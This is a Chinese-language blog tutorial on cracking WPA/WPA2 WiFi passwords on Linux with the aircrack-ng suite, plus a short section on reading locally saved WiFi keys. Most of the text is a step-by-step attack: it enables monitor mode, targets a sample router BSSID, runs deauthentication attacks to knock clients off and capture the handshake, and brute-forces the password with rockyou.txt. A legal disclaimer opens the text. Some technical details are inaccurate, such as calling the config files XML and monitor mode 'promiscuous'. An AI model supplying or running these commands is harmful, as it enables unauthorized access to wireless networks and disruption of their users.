linux如何查看wifi密码破解
- Linux
- 2025-08-01
- 7
是关于Linux系统下查看WiFi密码及破解的详细操作指南,需要强调的是,所有实验均应在合法授权范围内进行(例如使用自己搭建的环境或已获许可的网络),未经允许尝试载入他人网络属于违法行为,本文以技术学习为目的,请严格遵守法律法规和道德规范。
准备工作与环境搭建
-
硬件要求
- 推荐使用支持监控模式的外置无线网卡,常见兼容芯片包括:RT3070(L)/RT5572、RT8187(L)、AR9271,这些芯片在Linux发行版(如Ubuntu、Kali、Debian等)中可实现即插即用,无需手动安装驱动;内置网卡通常不支持渗透测试所需的混杂模式。
- 通过USB连接后,虚拟机右下角会显示设备图标表示连接成功,执行
airmon-ng
命令验证是否识别到设备。
-
软件工具集
主要依赖Kali Linux预装的渗透测试套件:airmon-ng
:管理无线网卡工作模式;airodump-ng
:捕获WiFi数据包并筛选握手包;aireplay-ng
:发送反认证攻击迫使客户端重新连接;aircrack-ng
:利用字典暴力破解WPA/WPA2密码。
核心操作步骤详解
步骤1:启用监听模式
# 查看可用接口 airmon-ng list # 启动监控模式(以wlan0为例) airmon-ng start wlan0 # 确认新生成的监听接口(如wlan0mon) ifconfig -a | grep wlan0mon
此时原接口wlan0
会变为wlan0mon
,表明已进入混杂模式可捕获所有经过的数据包,若报错需检查设备权限或重启服务。
步骤2:扫描目标网络
airodump-ng wlan0mon
该命令列出附近所有WiFi热点的信息,包括BSSID(MAC地址)、ESSID(SSID)、信道(CH)、加密类型等,记录目标网络的以下参数:
| 字段 | 说明 | 示例值 |
|————|————————–|——————-|
| BSSID | 路由器唯一标识符 | 94:63:72:9F:C6:C7 |
| Channel | 使用的无线频段 | 10 |
| Encryption | 安全协议类型 | WPA2 |
按下Ctrl+C
停止扫描并保留完整数据。
步骤3:抓取握手包
当新用户加入网络时会产生包含密钥交换信息的“握手包”,这是破解的关键素材,指定目标BSSID和信道进行精准抓包:
airodump-ng -c [信道号] --bssid [目标BSSID] -w [保存路径] wlan0mon
示例:
airodump-ng -c 10 --bssid 94:63:72:9F:C6:C7 -w vivo wlan0mon
若长时间无数据流动,可用aireplay-ng
发起DeAuth攻击强制客户端断线重连:
aireplay-ng -0 2 -a [路由器BSSID] -c [客户端MAC] wlan0mon
成功触发后会在终端显示”WPA handshake”提示,此时握手包已存入指定目录。
步骤4:跑字典破解密码
使用预置的密码词典(如Kali自带的rockyou.txt)进行暴力匹配:
aircrack-ng -a2 -b [路由器BSSID] -w [字典路径] [捕获文件名].cap
参数解析:
| 选项 | 含义 | 示例值 |
|————–|——————————–|————————————|
| -a2 | 针对WPA2协议 | |
| -b | 目标AP的BSSID | 94:63:72:9F:C6:C7 |
| -w | 密码字典绝对路径 | /usr/share/wordlists/rockyou.txt |
| [cap文件] | 之前保存的握手包数据 | vivo-01.cap |
破解耗时取决于CPU性能与字典大小,简单密码可能在几分钟内得出结果,复杂组合可能需要数天甚至更久。
合法场景下的密码查看方法
若仅需查看本机已保存的WiFi凭证(非破解),可通过以下方式实现:
️ 方法1:终端命令读取配置文件
cd /etc/NetworkManager/system-connections/ ls # 列出所有连接配置 cat <配置文件名> | grep psk # 查找明文存储的PSK字段
此路径下的XML文件中直接包含历史连接使用的密码。
方法2:图形界面可视化操作(以Ubuntu为例)
- 点击右上角WiFi图标 → “编辑连接”;
- 选择对应网络后点击“编辑”按钮;
- 切换至“Wi-Fi安全性”标签页 → 勾选“显示密码”。
常见问题与解决方案
现象 | 原因分析 | 解决对策 |
---|---|---|
airmon-ng报错找不到设备 | USB权限未分配给虚拟机 | 在Windows主机运行services.msc启用VMware USB Arbitration Service |
airodump-ng无输出 | 信号干扰严重或信道设置错误 | 更换天线位置/调整-c参数匹配实际频段 |
aircrack-ng进度停滞 | 字典质量差或握手包不完整 | 更换更大型字典或重新抓包 |
FAQs
Q1: 为什么必须使用外置无线网卡?
A: 因为大多数笔记本内置网卡被厂商限制为客户端模式,无法切换至监听模式,而RT3070L等芯片方案支持完整的注入、AP模拟等功能,是渗透测试的必要条件。
Q2: 如果提示“没有那个文件或目录”,如何处理?
A: 此错误多发生于虚拟机环境,需先在Windows宿主机开启VMware USB仲裁服务:按Win+R输入services.msc
,找到对应服务并将其启动类型设为自动,然后重启虚拟机即可识别USB设备